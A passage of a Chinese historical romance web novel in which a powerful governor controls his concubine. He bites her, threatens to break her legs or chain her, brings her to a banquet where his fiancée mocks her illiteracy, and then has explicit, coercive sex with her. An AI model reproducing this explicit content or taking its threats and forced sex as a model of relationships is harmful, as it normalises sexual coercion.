裴瓒下口狠戾,暗潮汹涌,如同遏制猎物挣扎的凶恶豺狼,下颌沸腾的热汗,就此滴进她的衣领。 男人落下的一滴汗,摇曳轻晃。 烫伤林蓉在皮下鼓噪的骨珠,滑至腰窝,蓄在雪臀。 “疼……”后颈被齿关刺出一道血痕,血梅绽开。 林蓉吃了痛,没等她反应过来,那点血味又被裴瓒含着,温吞地渡回了她的唇舌。 林蓉不知道他怎么了,但好在裴瓒尝到了这一点咸腥铁锈,忽然冷静下来。 他松开林蓉,又从袖中抛出一物,继而慢条斯理地抚摸林蓉发红的檀唇,淡道。 “给你一刻钟……想个由头,狡辩一番。” 林蓉低头一看,那只月夜翠竹纹样的香囊,骨碌碌滚至脚边。 她大惊失色,心中明白了所有。 原来是发现了此物,难怪他要大动肝火。 林蓉又不敢露出丝毫异样,她害怕裴瓒会杀了她。 这是裴瓒抛出来的饵料,她不能轻易上钩。 林蓉看了一会儿,注意到那只香囊系带上有平整的划痕,应是用刀割下的。 林蓉知道,她的香囊都卖出去了……那么裴瓒极有可能是遇到了买家。 林蓉终于明白他在生什么气了。 “大少爷,这是我托人放到绣坊里寄售的香囊。”林蓉深吸一口气,她心知,裴瓒聪慧,凡事瞒不过他,倒不如老实交代。 “我想赚一些银钱傍身,如此一来,上旁人家宅做客,手里就有点打赏之物,不会被人笑话小家子气。” 裴瓒知道林蓉近日和郑慧音走得极近,这些高门规矩,许是郑慧音私下传授她的。 裴瓒既要取走香囊,他行事缜密,当然打听了香囊的来处。 是那名男子从绣坊买的,并非林蓉私相授受。 也是如此,裴瓒才给她一个辩解的机会,而不是一剑斩杀了她。 林蓉没有半句谎话,如此坦诚,倒让裴瓒积攒多时的心火稍加消减了些。 裴瓒眸光寒凉,语气森冷:“林蓉,若是让我知道,你积攒银钱只为私逃,我会打断你的腿。” 林蓉缩了缩脖子,忙道:“不敢不敢……都督府吃好穿好,我每天都能吃到热锅子烫肉,如此自在日子,我怎会生出逃心?只盼着日后少夫人进门,大少爷即便忘了我,也莫要短我的吃喝……” 林蓉成日和郑慧音琢磨热锅子烫肉的事,裴瓒略有耳闻。 此时听她馋吃,脸上一派娇憨,那点厉色也退散了个干净。 他将她重重摁到膝上,压着她的脖颈,逼她俯身。 林蓉不明所以,却知道抵抗不是一个明智选择。 她放弃了,犹如一条风干的咸鱼,乖乖趴在男人冷硬的腿骨。 林蓉茫然无措地等待,直到冰冷的膏物,润上她的雪肤。 林蓉吃痛,轻轻嘶了一声。 原来,是裴瓒剜来一指药膏,轻覆上女孩后颈咬痕。 只是,裴瓒下手不知轻重,故意摁了下,直逼得林蓉龇牙咧嘴,连声求饶:“您轻些,肯定流血了……” 可任林蓉如何喊,裴瓒下手仍是如此狠辣,没有半分缓和的迹象。 林蓉明白了,他还在拿她泄愤。 好在,最后裴瓒收了手,与她道:“若是打赏下人,可让老冯从公中给你支一些金银锞子。” 林蓉不懂后宅规矩,不知裴瓒此举已有僭越之意。 府上公账,乃裴瓒私库,哪能让一房侍妾随意支使,若让外人知晓,恐怕要惊掉下巴。 偏林蓉不领情,她捞到了金锞子,又不敢擅用,想了想,还是厚颜与裴瓒讨恩典:“总欠大少爷的不大好,您能给我一些月例吗?也不用多,二钱就行……” 哪知,裴瓒却冷笑一声:“林蓉,你做梦!如有下次,我再见到绣品流落市井,定会取来枷锁脚链,将你铐在屋中。” 林蓉实不该用绣品试探,要知所有分到她院中的布匹,均是裴瓒过目挑拣过的,又如何能瞒得了他?况且,林蓉当他只盯着她的一举一动么?便是郑慧音有异常,亦有奴仆会来同老冯禀报。 林蓉懂了裴瓒的意思,顿时哑口无言。 她不想做那任人摆布的禁脔,不敢多说。 许是知道怀里的小姑娘瞧着乖巧,实则一身硬骨头,非要等他上手折了去,才肯有一天安分日子过。 裴瓒帮她拢好衣袖的时候,又给她指了一条明路:“林蓉,若你每承两个时辰的雨露,我便予你一两银子,如何?” 闻言,林蓉的肩颈瞬间僵直。 别说两个时辰了,按裴瓒的玩法,就是一个时辰她都吃不消啊……林蓉心里有气,但无可奈何,她顿时变得蔫巴,不愿再作声了。 第35章 裴瓒闹了一场, 耽搁了一些时辰。 但吴家宴席将近开宴,外头的梳妆仆妇们又没胆子再耽搁下去,一个个着急地望向冯叔, 请他拿个章程。 冯叔看着吱呀作响的院门,长叹一口气道:“走吧, 进去伺候林姑娘。” 老管事一声令下, 哪个敢和他叫板, 除非不想在都督府上做事了。 婆子们即便畏惧裴瓒, 双腿抖若筛糠,也得硬着头皮进去侍奉。 好在裴瓒听到动静,并未为难仆从, 只在出院的时候,撩起眼皮, 沉声提点了一句:“记得给你们姑娘再擦一次身。” 此言一出, 仆妇们皆是惊骇不已, 心下揣测:方才也就两刻钟的时间, 大都督竟也成了一次事? 林蓉又不是没有床笫间的经验, 哪里看不出来婆子们探究的眼神包含何等意思, 她莫名有些耻意, 深感丢脸,什么都没说。 林蓉褪了衣裙, 由着仆妇们搀扶入水。 看到林蓉后颈的咬痕、胸口凌乱恣肆的吻迹,婆子们原本的担忧变成了浓浓的笑意——这位林姨娘果真受宠啊! 林蓉身上有红印, 那件露出锁骨的褙子是肯定不能穿了,好歹是家宴,相看主母呢,总得遮一遮。 思来想去, 丫鬟从衣橱里拿出一身栀子蜜色立领对襟短衫给林蓉换上,再穿一件轻薄飘逸的千褶裙。 待林蓉后颈重上了一次药膏后,嬷嬷给她梳起了发髻,还簪上一朵红玛瑙粉桃绒花钗。 林蓉生得好,黛眉玉肌,檀腮杏靥,那一身肌肤白皙胜雪,便是高门小姐都养不出这等姝色,难怪能把裴大都督勾得五迷三道的! 装扮得当后,丫鬟婆子们满意地推林蓉出门,让裴瓒过目。 原以为裴瓒眼中会浮起惊艳之色,但大都督也只是轻掠去一记淡漠眼风,便收了视线,什么也没说。 倒是冯叔头一次见到林蓉这般娇艳明丽的打扮,稀奇地夸赞:“林姑娘今日穿得好看,同咱们爷站在一块儿,真是天造地设的一双璧人!” 这话说得僭越,谁不知道能与裴大都督作配的人,唯有那个没过门的吴家三小姐啊?可裴瓒这样重规矩的高官,竟也没有出声辩驳……仆妇们心里一惊,原本斜向吴念珍的秤杆又转回来,倾向了林蓉这边。 启程了,裴瓒领林蓉踏上马车。 林蓉坐到软垫一侧,不安地问:“今日是大少爷相看正妻的家宴,我不过一房侍妾,与您同往,是不是不大好?万一被人误会我是个目中无人的宠妾,我不会被拉去浸猪笼吧?” 林蓉见多了那些恃宠生娇的姨娘被主母发落的样子,一家之主不看顾点,往后被正妻逮着了小辫子,连哭都没地方哭。 裴瓒听得她满嘴胡言乱语,有些发笑。 裴瓒瞥她一眼,淡道:“若不想被浸猪笼,大可坐实了宠妾的名头,免得日后被人拉了去,仆妇们扒高踩低,连个帮你通风报信的心腹都没有。” 林蓉万万没想到裴瓒能讲出这么绝情的话,顿时悲从心中来,一点念想都没有了。 林蓉忽然哑巴了闷头无言,倒让闭目养神的裴瓒有些不习惯。 他抬眸,难得好心,对林蓉解释一句:“带你过府是给你做脸,你不领情?” 见林蓉榆木脑袋不开窍,裴瓒轻抚腕上乌沉佛珠,意味深长地道:“能被夫主带去筵席的妾室,都是主家上了心的。吴氏女若不想失了宠信,自不会触我霉头,动你分毫。” 林蓉想不通这些事儿,但也能听懂,裴瓒暂时没有害死她的意思,那她便也欣然接受大少爷的好意。 没等林蓉开口道谢,裴瓒又喊她伸手。 林蓉老实巴交地摊开手掌,一袋沉甸甸的金锞子就此落在了她的手中。 林蓉拉开荷包,看到二十多枚金光闪闪的豆子,惊得下巴都要掉了地。 每一枚梅花锞子重若二钱,皆铸了“花开富贵”的吉利纹样,看上去极为奢华。 林蓉知道,这样烙了印的金锞子,可不敢送到金楼里熔炼,一旦暴露,定有人往都督府里通风报信。 裴瓒故意铸了家徽,就是为了防她藏钱的。 果然,裴瓒敲打她:“金锞的数量有限,也有下人盯着你赏金的份额,凡是少上一枚,我定会去你院里搜查。林蓉,不想闹得太难看,你就要乖巧些。” 林蓉点点头,她可不敢存什么藏钱的心思,毕竟裴瓒的耳目遍地,被他知道了,她没什么好果子吃。 林蓉掂了掂钱袋子,估计有个四两金子的样子。 老天,要知道一两金子就是十两白银,林蓉一下子捧着四十两白银的巨款,手都不知道怎么放了。 林蓉唉声叹气:“大少爷……” 裴瓒:“嗯?” “吴家奴仆的命真好。”林蓉说话闷闷的,“打赏都是按二钱金子来的。” 裴瓒摁了摁生疼的额角,目若寒刀,冷道,“在都督府过日子,苦着你了?” 林蓉哪里敢应,只缩了缩脑袋,嘟囔:“那倒没有。” 就有点抠门。 吴府门口,张灯结彩,喜气洋洋。 小厮欢天喜地地跑来唱报:“裴大都督到——!” 此言一出,不论男女老少,都从府里钻出来,围在院门口局促不安地等待。 特别是精心打扮过的吴念珍,更是被扬眉吐气的柳氏推到最前方,想着让她尽早见到裴瓒。 借着纱灯的光,柳氏上上下下打量了女儿一番。 今天她特意给吴念珍选了一身碧海生月纹的青纱褙子,乌髻间缠了珍珠,丰腴耳珠又挂了银丝翡翠,端的是弱柳扶风,林下风致。 柳氏自己就是宠妾出身,她当然知道男人都爱什么口味,见多了妩媚妖娆,更喜欢小家碧玉,女儿这身打扮准没错。 便是吴念珍自己也心生期盼,希望裴瓒能对她一见钟情。 吴念珍知道,自己这门亲事结得极好,说句麻雀变凤凰也不为过。 得知她嫁给裴瓒,那些原本看不上她的堂姐妹纷纷过来巴结讨好,就想着日后能让吴念珍给裴瓒吹一吹枕边风,多多提携她们的夫婿。 吴念珍也从旁人口中打听到许多裴瓒的事,说什么裴瓒少年英才,当初不单是文采飞扬的状元郎,还是骁勇善战年轻将军,如今佣兵掌权,更为南地一方霸主,权势滔天,能嫁他为妻,实在令人羡慕。 至于裴瓒的容貌,吴念珍是有听人说起,裴瓒沈腰潘鬓,俊朗不凡,是一等一的美男子,不然当年也不会被皇帝钦点为状元。 但吴念珍没有见过裴瓒,生怕那些话都是旁人谣传,不敢当真。 吴念珍的心里也做好了准备,即便裴瓒生得粗犷丑陋,她也半点不嫌,毕竟她谋的是权势与富贵,嫁谁都一样。 可是,当那一辆青蓬马车停至府门口,仙姿玉貌的男人出现于人前时,吴念珍的心跳还是漏了一拍。 裴瓒撩帘下车,头一次与庐州的官吏女眷们见面。 男人生得冷艳,长眉入鬓,唇秀而薄,一袭广袖竹纹青袍随着动作轻轻摇曳,半倾的乌发更是勾缠峻拔背脊,显得来人清净淡泊,神清骨秀。 吴念珍没见过这样好看的郎君,一时呆住,久久说不出话。 倒是下车的裴瓒被人盯得不适,凉薄凤眸一扫,吴念珍这才回过神,红着脸,矜持地低下了头。 下人递来脚凳。 裴瓒抬起玉指,勾过车帘,对车里的小姑娘招了招手。 “出来。” 林蓉原本还想当一回鹌鹑,偏裴瓒是个脸皮厚的,竟敢拉她出车门。 林蓉没法子,只能无奈下了车。 众目睽睽之下,林蓉冷不丁落到旁人眼里,更是躲都没办法躲。 她本想和裴瓒拉开距离,却不想这男人忽然发疯,竟搀了一把她的手臂,将她稳稳扶下了马车。 林蓉震惊不已,她幽怨地看了裴瓒一眼,却一句话都不敢说。 此刻,只觉得四面八方递来无数犹如刀子一般的眼神,恨不得即刻将林蓉凌迟处死。 林蓉成了众矢之的。 冯叔是个聪明人,他上前引着林蓉,大大方方给各家女眷们介绍:“这是府上的林姑娘。” 他不说林蓉是裴瓒的侍妾,但能与大都督共车同行,傻子都知她是什么身份。 有裴府老管事给林蓉做脸,没人敢开罪这名“宠妾”,反倒是亲亲热热上前,替林蓉解围,喊她“林姑娘”,顺道打量林蓉的眉眼——这不看不知道,一看吓一跳,小姑娘确实生得雪肤花貌,难怪能笼络住天人一般的裴瓒! 另一边,裴瓒得知林蓉被老冯带走,也不在意她的去向。 总归有人照看,闹不出什么风波。 倒是吴念珍被柳氏搡了一把,她急忙娇怯地上前,给裴瓒见礼:“念珍见过裴大都督。” 未婚夫妻见面,吴念珍心中有些羞涩,亦有点忐忑,还有些说不清道不明的不安……只因她方才远远见过那名林姨娘,确实生得有几分姿色,可她也长得不差就是了! 到底是日后正妻,裴瓒并没有当众扫人颜面。 他冷淡地颔首,道了句:“三小姐无需多礼。” 随后,吴冲亲自来请裴瓒入席。 吴念珍还是未出阁的女眷,作陪不得,只能不情不愿地离去了。 裴瓒一面与吴冲说笑,一面暗暗思忖。 那一位名叫“吴念珍”的吴氏女生得也不过庸常,比之林蓉还要差些。 只是身上的衣裙,有点令人不喜。 今日,吴念珍故意穿的绿裙,取的绸布与裴瓒所着的青袍相近,想来是有人给吴念珍通风报信,特意让她选了一身讨巧的衣裙。 裴瓒轻轻皱眉,目露冷意。 他不喜人满腹心机。 而吴念珍行事心思颇重……是个奸的。 第36章 吴家宾客众多, 冯叔得去招呼其他部将旧臣,不能时刻看顾林蓉。 他吩咐了一名随行的小丫鬟,让人老实跟着林蓉, 随后便离开了。 这是林蓉第一次以宾客的身份,在雕梁画柱的家宅里游走。 她无需低着头端茶奉水, 她能抬头自在观瞻, 欣赏远处的拂堤翠柳、火红榴花, 心里略有几分欢喜与自在。 可林蓉没人指引, 又不知以她现在侍妾的身份应该去什么地方用饭,只能站在原地不动,等着看看那些贵女们的反应, 随大流走,至少不要出错。 吴念珍远远看到林蓉一人站在廊庑底下出神, 她轻轻挑眉, 上前笑着唤了一声:“林妹妹!” 林蓉被女孩家那声娇滴滴的呼喊吓了一跳。 一见是裴瓒的未婚妻吴念珍, 心中顿生一种难以言喻的古怪与尴尬之感。 她不知高门大院里的妻妾日常到底如何相处, 主母是否真的能容忍那些抢夺她们夫君的姬妾……但在市井小户里, 若是谁家正头娘子知道自家夫婿在外狎妓, 花天酒地, 还偷养姘头,往家里纳妾, 定是要火冒三丈,撕烂丈夫的脸。 林蓉虽是先进门的侍妾, 但她知道,吴念珍才是裴瓒的妻,此时见到正主,还有些底气不足。 她恭恭敬敬地唤了一声:“见过吴三小姐。” 林蓉低头行礼的时候, 吴念珍亦含笑打量她。 听林蓉说话娇怯,没有半点宠妾的威风,吴念珍的心气顺上许多,想来是裴大都督事先敲打过,切莫和正妻争风吃醋。 吴念珍正要搀起林蓉时,却眼风一瞥,瞧见林蓉垂下的后颈浮着一枚泛红的齿印。 她的笑容僵在脸上,险些没能压抑住腾升的心火…… 明知今晚是相看宴,林蓉竟还敢勾着裴瓒行房,明显是不将吴念珍放在眼里,故意来耀武扬威的! 一想到那样俊俏的夫婿,也会私底下揽着其他女子小意温存,吴念珍心底莫名泛起一点酸胀之感。 她深知眼下不是磋磨林蓉的好时机,只能忍着怒火,把这出戏好生演下去。 吴念珍拉过林蓉的手,温柔拍了拍,“走,今儿是吴家做东,自然要照看好宾客,妹妹过来,和我一块儿上前头玩去。” 吴念珍待人亲和,态度温婉,林蓉被她拉着手,倒也没有刻意挣脱,乖巧地跟着人上前厅玩乐。 吴念珍把林蓉带去了贵女众多的花厅。 林蓉甫一入席,那些年轻的小姑娘便递来探究的眼神,上上下下打量她。 林蓉私下里无措地绞着手指,她知道自己这副模样定是上不得台面,但她自小为婢,没受过教养嬷嬷的调教,能够不怯场坐在这里已是勉力而为。 林蓉笨口拙舌,她奉行多说多错的道理,一贯寡言少语。 林蓉不会说那些宅邸里的俏皮话,都是旁人问上一句,她答一句。 不过她口风严,还算聪明,只要有贵女们拐弯抹角想打听裴瓒,林蓉就会温婉一笑,当个哑巴。 漂亮的小姑娘闭口不答,又对人浅笑嫣然,心肠稍软一些的贵女,也不会咄咄逼人,迫着林蓉说话。 况且,她们更多的是来吴念珍的笑话! 谁不知道她要嫁的那个裴都督,竟当众给她没脸,还把小妾带到席面上。 她们心里虽酸吴念珍能攀附上裴瓒,但也因林蓉得宠之故,稍加解气……至少吴念珍往后的日子也未必好过,家家都有一本难念的经嘛! 吴念珍如何不知她们心里的想法,她是既气愤又无奈。 这种事情,对于林蓉来说兴许能忍,但吴念珍再如何,都是高门大院里养出的女孩,她能强撑着不翻脸,已是听了母亲的劝。 吴念珍:“好了好了,别围着林妹妹转了,她胆小,仔细吓着她。这样吧,我喊嬷嬷送来荔枝酒、青梅酿,再添一些珠玉金银作为彩头,咱们行个飞花令如何?” 诸位贵女在家中管束严苛,也就宴席上能吃点甜酒,闻言忙道:“好呀好呀!” 唯有林蓉轻声问了句:“吴小姐,飞花令是什么?” 吴念珍惊讶地看她,笑道:“就是诗词酒令,参赛者必须说出一句带花的诗词,否则就得挨罚饮酒。” 林蓉没有打肿脸充胖子,她诚实地道:“虽扫了诸位小姐的兴致,但我不通诗文,还是不参加行酒令了。” 林蓉竭力推诿,众人被她闹得不悦,只觉得林蓉不识好歹,竟扫了吴念珍的脸。 就连吴念珍也差点难以维持脸上的笑意,她强行忍了忍,还是压着林蓉的肩膀,迫她坐下,又故作体贴命人拿来一侧诗册,塞到林蓉手中。 酒令开始,轮到林蓉背诗,可她呆呆坐着,唇瓣翕动两下,竟什么都没说出来。 林蓉轻叹一口气,她执杯打算自罚饮酒。 吴念珍心下一跳,生怕林蓉被灌醉了,回去还要和裴瓒告状,说她这个未婚妻容不得人,刻意磋磨小妾。 于是,吴念珍压着林蓉的酒杯,笑着替她解围:“哎呀,别慌,姐姐帮你。” 吴念珍翻开诗册,指着一句花诗,催促林蓉:“妹妹快背!” 她有意逗趣,打个圆场,怎料林蓉看了一眼诗词,磕磕绊绊读了出来,还将一个生僻字念错了音。 “咦?她怎么……” “难道林姑娘……” 这一下,在场的诸位贵女都明白过来……敢情林蓉不识字,她是个睁眼瞎的文盲啊! 不知哪处先传来噗嗤的笑声,很快众人哄堂大笑。 吴念珍心中隐隐涌起一种快意,她惊奇地喊:“林妹妹,你居然不识字吗?抱歉,倒是我疏忽,没有想到这一点……” 谁都没想到,文韬武略的裴都督,竟娇养了这么一个腹无点墨的蠢女!何其可笑! 贵女们心中那点不甘悉数散去,她们自觉高林蓉一等,一个个抬袖掩唇,轻蔑地望着她。 林蓉习惯了这种鄙夷不屑的目光,她并未觉得羞耻,只无奈地说:“我只学了几百字,其他的还在学……今日的酒令,是我扫兴,我自罚一杯。” 林蓉从前陪赵婆子喝酒嗑瓜子的时候,练出过酒量,一杯甜酒下肚,脸上不红,没有上头。 她退了席,坐到一旁喝茶吃糕,没再参与众人的游戏。 宴散后,夜里回房。 林蓉疲乏一天,劳累地回到了都督府。 她本以为裴瓒会照常宿在公廨,却不想他竟来了小院,还命仆妇在房中备水,留下几身夜里换洗的雪色中衣。 仆妇在换水时,已经把屋内的错银云纹铜炉燃上了春意缠绵的桃枝暖香,又为林蓉备好了沐浴后要穿的莲瓣红兜衣。 小衣的尺寸太过短小狭窄,林蓉裹身时,竟有些包不住,雪壑往外挤,她被逼无奈,只能放宽了一点后颈的系带。 林蓉先洗的身子,因裴瓒不喜人随身伺候,屋内没有留下侍婢,一应事都能林蓉自个儿亲力亲为。 但她本就没有被人照顾的习惯,不过擦身换衣,也无需外人在旁关照。 林蓉赤足踏在那柔软的羊绒地毯上,白嫩的足踝几乎要陷进地衣绵软的皮毛之中。 婆子只给林蓉留下了一件单薄的兜衣,一件小裤,竟连披肩的外衫都没有。 林蓉心里郁闷,但也很好理解,毕竟裴瓒夜宿小院,就是要她侍奉枕席的意思,总归要脱的,何必再穿得严实? 林蓉不是矫情的性子,她一边用帕子拧干湿润的发丝,一边朝榻边翻书的裴瓒行去。 “大少爷,我洗好了。” 裴瓒闻言,放下手中书卷,抬眸看她一眼。 林蓉果真洗好了,只她身上仅穿了一件莲花抱腹。 小衣勒得紧,缠出窈窕玲珑的楚腰。 胸口微鼓,后背赤裸。 雪肤上洇着剔透水泽,渐渐将那一件青桃小衣,濡成血一样的浓红。 她不把裴瓒当外人,纤柔荏弱的雪臂微抬,十指隔着干燥的巾帕,绞着湿发,誓要把水泽统统吸干。 少女的肌体白嫩,如此娇态显露人前,竟也不知避一避,躲一躲。 一双杏眸水光朦胧,如同山野幼鹿,以懵懂之姿,勾人心底邪劣恶念。 裴瓒一言不发,只静静挪开视线,他起身走向屏风后的净室,单手拧开圆领袍上的襟扣,入水沐浴。 林蓉受不得冻,已经蜷进厚实的锦被里。 她盘着腿擦头发,忽然想到自己的月事已经走了个干净。 裴瓒留宿小院,定是要行鱼水之欢的。 想到之前几次都不算太愉快的房中事,林蓉被裴瓒玩弄于股掌之间,只能任他摆布…… 林蓉的指骨蜷曲,眼神闪避,仍旧心生骇怖。 等乌发半干不干后,林蓉钻进了被窝里。 床帐从金钩上摇落,床内变得雾蒙蒙的,酥香渡进来,平添几分暧昧的暖意。 林蓉侧身,靠在枕上,心里七上八下的。 她听着远处传来的淅沥水声,还有织物摩挲传来的窸窸窣窣响动,心里忐忑不安。 林蓉没想明白,姬妾可以和家主同床共枕吗? 之前裴府的二老爷光是陪姨娘睡了几天,二夫人都闹得家里鸡犬不宁……想来这种事应是不大合规矩的。 林蓉又想到她与裴瓒初次云雨…… 裴瓒纾解以后,就回房入睡了,或许今晚他也只是一时兴起想做那档子事,做完应该就回寝院了。 至于之前行军途中共处一室的事,无非是那时候条件差,没有多余的军帐可用,只能让林蓉在裴瓒的主帐里入睡。 林蓉昏昏欲睡之际,床帐已被一只温润如玉的手撩开了。 林蓉的眼眸圆溜,呆滞地盯着眼前身姿挺峻孤高的男人。 裴瓒已经沐浴净发,寝衣披身,他长身玉立,站在榻旁,安静得犹如地狱恶鬼。 屋内烛光雪亮,照得裴瓒本就白皙的肌理,更润如羊脂。 他的薄唇染过水,透出鲜妍的红,一双凤目眼尾狭长,压着深深的褶,竟有种难言的冷寂艳娆之感,愈发肖似神坛上的男相观音了…… 许是要入睡了,裴瓒那些凌冽的乌黑长发,用一枝梅枝雕出的木簪虚虚绾着。 俯身时,湿发冰冷,如毒蛇缠身,滑落至林蓉的肩头,湿进她的小衣,蓄在玉脂沟壑之间。 林蓉看着这样一张漂亮的美人脸逼近,一时之间,竟不知是该躲还是不该躲。 直到下一刻,她的脚踝被裴瓒泛凉的手抚握。 男人拇指粗粝的茧子刮蹭其上,带来细细的痛感,令她浑身颤栗。 不等林蓉缩腿遁逃,她的寝裤已被人扯下。 一团揉皱了的布料绊在腿上,惊得林蓉下意识往床帐深处逃。 只她的速度不够快,就在她要钻进帐中的瞬间,已被裴瓒迅速覆在身下。 林蓉被男人死死压制怀中,动弹不得。 她的美背,紧贴上一具炙热宽阔的胸膛。 她感受裴瓒身上渡来的滚沸气息,以及他那犹如猛虎蓄势的强劲身躯。 林蓉下意识伸手抚过裴瓒胸膛,还能摸到一片独属于武臣的遒劲肌理。 除却一件裹腹的小衣,女孩的身上不着一物。 林蓉就这么光着,背对他。 她的身材娇小,手脚受缚,好似被咬了颈子的母兽,就这么窝囊地藏在裴瓒的怀里。 不过纤腰微拧,林蓉猛然碰上了峥嵘跋扈的小少爷。 她愣在原地,不敢动弹。 生怕雪臀上的一点动静,就让她成了帮凶。 如此腾挪碾摩,恰好解了裴瓒的欲火。 倒是裴瓒掌着她的细腰,气息微沉,隐忍深喘。 他咬着她灵巧的耳珠,凶悍质问:“你很怕我?” 裴瓒的嗓音低沉沙哑,藏着浓重的威慑力。 他并非诚心问话,无非是想看林蓉能说出何等大逆不道的回答,再伺机重重惩罚她。 林蓉当然知道,自己方才的抗拒之举,已经激怒了裴瓒,她若想今晚好过一些,还是乖乖巧巧受着较好。 林蓉眉眼耷拉,小心翼翼解释:“没有,我怎会怕大少爷……” 裴瓒不在意她的回答,听完也只是咬上她后颈细带,柔韧唇舌卷着系带,缓缓抽了去。 男人的舌温落在林蓉纤薄后脊,刮过之前留印的咬痕,掠开一阵酥麻痒意。 林蓉缩躲着腰,不等她逃开。 裴瓒的手已经伸至面前,将她仅剩下的一件衣布扯了去。 林蓉被逼无奈,只能和男人坦诚相待。 裴瓒终于松开了林蓉,任她迅速爬起身,蜷缩成柔润雪白的一团。 裴瓒上榻,倚靠床侧,他垂眼观赏林蓉的狼狈,满怀恶意地朝她勾勾手。 “林蓉,过来。” 林蓉咬唇不动。 裴瓒今晚耐心极佳,他好整以暇地静候,与林蓉对峙。 在她倔着脸不看裴瓒的时候,男人又轻扯唇角,道:“等我抓你,必定多添一个时辰。” 想到裴瓒发狠冲犯的画面,林蓉陡然一惊。 那些饱满唇瓣,被研磨到红肿的记忆,再次袭来。 她心生畏惧认了输,老老实实挨到男人的腿畔。 裴瓒也已解了衣,他揽臂,将林蓉抱到腿上。 男人不过宽大手掌一掰…… 林蓉两条伶仃纤细的腿就此抵开。 她的膝盖跪着榻…… 就此坐到了裴瓒的腿上。 林蓉的腿肉绵软,磕碰在他的窄腰两侧。 骨血相近的热烈,令人着迷,亦太过亲昵,教人心绪不宁。 裴瓒逼着林蓉盘身,老实跨坐入怀。 他终于把猎物骗回蛛网之中,他有许多空闲可以与林蓉谈心:“今晚玩得可好?” 林蓉听到裴瓒低声问话。 她一边压着不善的七寸,一边被硌得分神。 林蓉艰难回答:“三小姐要玩飞花令,要背诗,我不会……” 裴瓒似听非听,林蓉在说话的时候,他已低下头,以薄唇,探汲林蓉肩上香汗。 男人的眼睫浓密狭长,扫在颈子嫩滑的皮肉,很痒。 像是给禅定僧人的一场浩劫。 裴瓒不遗余力勾着她,馋吃她,撩得林蓉心烦意乱,心火难消。 她努力集中注意力,继续说道:“她们好似因为我,玩得不够尽兴……我下次能不能不要赴宴了?” 裴瓒轻吻她的樱唇,下嘴温柔,说出的话却冷意深重:“林蓉,你既为裴府侍妾,总要学会如何与高门女眷相处。便是不喜,也得忍着,这便是后宅的生存之道。” 无论裴瓒多么爱怜地吻她,他都不会体谅林蓉的难处,这是林蓉为人妾室应该学的规矩。 林蓉的齿关好似嚼烂了一颗酸梅,汁水爆开,直冲上脑,连心脏都被搅得酸涩。 林蓉莫名生出一股难言的委屈。 她本可以不这样循规蹈矩,她本可以离开高门家宅……是裴瓒强留下她,偏他心狠,又盼着她时刻取悦,无用时便藏于后宅自生自灭。 “大少爷,我是奴婢出身,我学不来这些……” 林蓉没有忘记那种受人奚落的感觉。 她好像一只擅闯贵人家宅的山猴子,她误闯此地,所有人都在看她的笑话。 林蓉不想更难堪,她竭力装作无事发生,但其实,她也会尴尬,觉得羞耻,甚至是难受委屈。 林蓉不想争这口气,不想奋发向上,读书读成一个才女,打所有人的脸。 她觉得即便不大识字,也有她自己的生存之道。 她读书,应该是为自己明理通义而读,不是为了要在人前争一口气。 林蓉在今晚,忽然生出了强烈的欲望,她很想很想离开裴府。 林蓉知道裴瓒不日后就要娶妻,她吴念珍知书达理,温婉可人,同样是月貌花容的美人……裴瓒什么都有了,他不应该强求林蓉留下。 于是,林蓉鼓足勇气,深吸一口气,哀求道:“大少爷,你娶妻之后,能不能放我离开?” 闻言,裴瓒轻笑一声。 林蓉依旧睁着那双懵懂的杏眼,向眼前这尊邪神祈求。 可她供奉香火,以身献道,她幻想中的恩典、怜悯、奇迹,依旧没有发生。 唯有男人寒着长目,阴鸷残忍地凝视着她,似在笑她的不自量力。 裴瓒用力掰过林蓉的下颌,凤眸阴寒可怖,唇角微弯,语带威胁。 “林蓉,劝你慎言。” “除非你今晚……想死在我身上。” 第37章 裴瓒没有一点留情。 下手狠厉, 不含温存。 许是刻意想惩罚林蓉,裴瓒并未与她亲吻,也无交颈厮磨。 裴瓒故意掐着林蓉不盈一握的软腰不放, 任她在他身上战栗,挣扎, 最终却只能无措地受他欺压。 林蓉被裴瓒挟制怀中, 双腿被宽大掌腹禁锢, 逃脱不得。 今晚, 是林蓉激怒了裴瓒,是她自讨苦吃,由不得人。 裴瓒丝毫不体谅林蓉, 抓人时,掌腹力道也比往常重上许多, 全然不在意这般力道, 会在女孩细嫩的腕骨上留下多少深重的淤痕。 裴瓒的姿态强势又霸道, 加之身形修长, 胸膛肌理遒劲, 块垒分明, 实有种难以言喻的骇人压迫感。 他紧扣着林蓉, 分明是想恣意发泄那些隐匿于心的邪念恶意。 裴瓒抬身,扶着林蓉。 让她坐稳了, 坐实了,莫要摔了去。 男人的墨眸阴冷如蛇, 沉寒地凝视林蓉。 可今夜的林蓉,似是比往常更加坚强,更有耐性。 她挺着腰肢,没有软下分毫。 林蓉不服输, 仿佛如此,就能抵抗这些身不由己的艰辛命运。 可裴瓒怎会让她如愿,她既要强撑,他自当满足她。 不过一个抬身,竟催出了林蓉的眼泪。 “大少爷!” 林蓉惊叫一声,杏眸圆瞪,眼眶洇红。 似是难以置信裴瓒能心狠至此。 “林蓉,求我……” 裴瓒的眸色冰冷,他被林蓉激怒,并未给她台阶下。 可林蓉亦不愿服输,她轻拧腰身,抓皱了床帐,还是咬着唇憋气,努力吞咽,不肯被春潮淹没。 林蓉犹如溺水,上不得岸,险些溺亡。 只是,林蓉掐在裴瓒宽肩上的那只手,却暴露了她在竭力收容。 挞伐之势,近乎攻城略地。 实在难以忍受。 林蓉很不适,莹润的指甲险些没能收住力,嵌进裴瓒布满薄汗的肩颈上,留下血淋淋的伤疤。 这点小痛,并不影响裴瓒的施为。 林蓉身陷囹圄,她意识迷离地喘熄,被困在裴瓒布下的密不透风的潮热蛛网中。 在这样极度的窒息云雨中,裴瓒修长冰冷的指骨抵在林蓉的后脑,他托着柔若无骨的小姑娘,长指轻柔地抚着她的乌发。 裴瓒看到林蓉浑身泛起薄红,脚趾勉力蜷曲,知她已至尽头。 到底还是怜惜侍妾,裴瓒难得减轻了力道。 任林蓉如同一只可怜兮兮的溺水小鸟,缩在他的怀中避雨。 直至深夜,裴瓒终是出了两回。 但他仍恶意满满,故意不肯后撤。 林蓉吃不下,被卡得死死的。 她无可奈何,只能任人深陷其中。 林蓉抿了下唇。 不仅膝骨,还有唇瓣…… 都被碾摩许久,一碰就涩疼。 林蓉避开脸去,轻轻嘶气儿,不想再看裴瓒。 裴瓒也满不在乎,他由着她埋在颈侧,温热掌腹轻轻抚过林蓉颤抖不休的后脊。 